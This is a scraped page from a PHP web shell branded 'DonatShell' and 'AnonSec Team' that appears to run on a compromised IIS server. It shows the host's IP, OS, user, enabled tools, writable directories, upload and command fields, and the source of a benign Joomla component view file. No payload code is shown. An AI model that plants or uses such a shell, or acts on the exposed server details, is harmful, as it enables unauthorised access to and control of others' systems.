DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/tmp/install_53214838987c8/admin/views/timages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/tmp/install_53214838987c8/admin/views/timages/view.html.php
<?php

/*------------------------------------------------------------------------
# Timage
# ------------------------------------------------------------------------
# author                Trust Elegance
# copyright             Copyright (C) 2012 trustelegance.com. All Rights Reserved.
# @license -            http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites:             http://www.trustelegance.com
# Technical Support:    http://http://www.trustelegance.com/index.php?option=com_rsform&view=rsform&Itemid=55
-------------------------------------------------------------------------*/

    defined('_JEXEC') or die('Restricted access');
    jimport('joomla.application.component.view');

class TimageViewTimages extends JView
{
	function display($tpl = null)
	{
		$items = $this->get('Items');
		$pagination = $this->get('Pagination');

		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode('<br />', $errors));
			return false;
		}
		$this->items = $items;
		$this->pagination = $pagination;

		$this->addToolBar();

		parent::display($tpl);

		$this->setDocument();
	}

	protected function addToolBar()
	{
		$canDo = TimageHelper::getActions();
		JToolBarHelper::title(JText::_('COM_TIMAGE_MANAGER_TIMAGES'), 'timage');
		if ($canDo->get('core.create')) 
		{
			JToolBarHelper::addNew('timage.add', 'JTOOLBAR_NEW');
		}
		if ($canDo->get('core.edit')) 
		{
			JToolBarHelper::editList('timage.edit', 'JTOOLBAR_EDIT');
		}
		if ($canDo->get('core.delete')) 
		{
			JToolBarHelper::deleteList('', 'timages.delete', 'JTOOLBAR_DELETE');
		}
		if ($canDo->get('core.admin')) 
		{
			JToolBarHelper::divider();
			JToolBarHelper::preferences('com_timage');
		}
	}

	protected function setDocument()
	{
		$document = JFactory::getDocument();
		$document->setTitle(JText::_('COM_TIMAGE_ADMINISTRATION'));
	}
}
?>

Anon7 - 2022
AnonSec Team